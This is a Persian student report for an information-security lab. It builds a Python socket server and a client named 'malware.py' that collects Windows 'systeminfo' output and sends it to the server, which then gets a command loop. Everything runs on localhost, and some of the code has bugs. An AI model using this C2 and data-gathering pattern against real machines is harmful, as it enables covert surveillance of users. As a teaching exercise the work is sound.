

به نام خدا

محمد متقی ۹۷۳۱۰۵۷

تمرین عملی سوم امنیت اطلاعات

۱-

ابتدا سرور local را می سازیم. بدین صورت که ابتدا socket ساخته و یک port برای آن مشخص می کنیم که در آن منتظر client است و با استفاده از listen حد بالای اتصال client ها را مشخص می کنیم. حال سرور با حلقه ی بی نهایت منتظر دستور است و پس از اتصال پیامی به client ارسال می کنیم و آدرس آن را نیز نمایش می دهیم.

```
1 import socket
2
3 def first_part(port = 3333):
4     s = socket.socket()
5     print("Socket successfully created")
6     s.bind(('', port))
7     print("Socket binded to %s" % port)
8     s.listen(5)
9     print("Socket is listening")
10 while True:
11     c, addr = s.accept()
12     print(' connection from', addr)
13     c.send('Hello client'.encode())
14     c.close()
15     break
16
```

برای قسمت client نیز یک socket ایجاد می کنیم و به port سرور local ساخته شده اتصال ایجاد می کنیم و پیام سرور را نمایش می دهیم.

```
1 import socket
2 import os
3
4 def first_part(port= 3333):
5     s = socket.socket()
6     s.connect(('127.0.0.1', port))
7     print(s.recv(3000).decode())
8     s.close()
9
```

با اجرای قسمت قسمت اول به نتیجه ی دریافت پیام client از server می رسیم.

```
C:\Users\arian\Desktop\IS3>python malware.py
Hello client
```

```
C:\Users\arian\Desktop\IS3>python server.py
Socket successfully created
Socket binded to 3000
Socket is listening
connection from ('127.0.0.1', 59410)
```

-۲

در این بخش باید اطلاعات سیستم را به سرور بازگردانیم. برای این کار از `popen` استفاده می کنیم که اطلاعات سیستم را در یک رشته داشته باشیم و آن `sysinfo` را نمایش دهیم. سپس در فایل `malware` که `client` ماست با استفاده از تابع اطلاعات را برای سرور ارسال می کنیم و برای سرور نیز تابعی پیاده سازی می کنیم که پیامی دریافت این اطلاعات از `client` را به ما دهد.

```
9
10 def second_part(port= 3333):
11     s = socket.socket()
12     s.connect(('127.0.0.1', port))
13     sysinfo = os.popen("systeminfo").read().split('\n')
14     data = ''
15     for item in sysinfo:
16         data += str(item.split("\r"))
17     data_bytes = bytes(data, 'utf-8')
18     s.sendall(data_bytes)
19     print(f"data from server: {s.recv(1024).decode()}")
20     s.close()
21
```

```
17 def second_part(port= 3333):
18     s = socket.socket()
19     print("Socket successfully created")
20     s.bind('', port)
21     print("Socket binded to %s" % port)
22     s.listen(5)
23     print("Socket is listening")
24     while True:
25         c, addr = s.accept()
26         print(' connection from', addr)
27         data = c.recvfrom(6000)
28         print(f'Recieved client system info: {data}')
29         c.send('Data recieved. Thanks chump!'.encode())
30         c.close()
31     break
32
```

```
C:\Users\arian\Desktop\IS3>python malware.py
data from server: Data recieved. GG EZ
```

برای قسمت سوم به سادگی در حلقه ی بی نهایت اتصال سرور دو گزینه برای انتخاب دریافت sysinfo و close کردن اتصال قرار می دهیم که تا زمانی که کاربر دستور close را انتخاب نکند برنامه ادامه یابد و گزینه ی انتخاب شده برای client نیز ارسال می شود.

```

33 def third_part(port= 3100):
34     s = socket.socket()
35     print("Socket successfully created")
36     s.bind(('', port))
37     print("Socket binded to %s" % port)
38     s.listen(5)
39     print("Socket is listening")
40     while True:
41         c, addr = s.accept()
42         print('connection from', addr)
43         while True:
44             option = (input('What are you going to do?\t 1.sysinfo\t 2.close the connection\n')).lower()
45             c.send(option.encode())
46             if option == 'sysinfo':
47                 data = c.recvfrom(6000)
48                 print(f'Recieved client system info: {data}')
49                 c.send('Data recieved. GG EZ!'.encode())
50             elif option == 'close':
51                 c.send('close'.encode())
52                 c.close()
53                 print('Closing the connection...')
54                 break
55         break

```

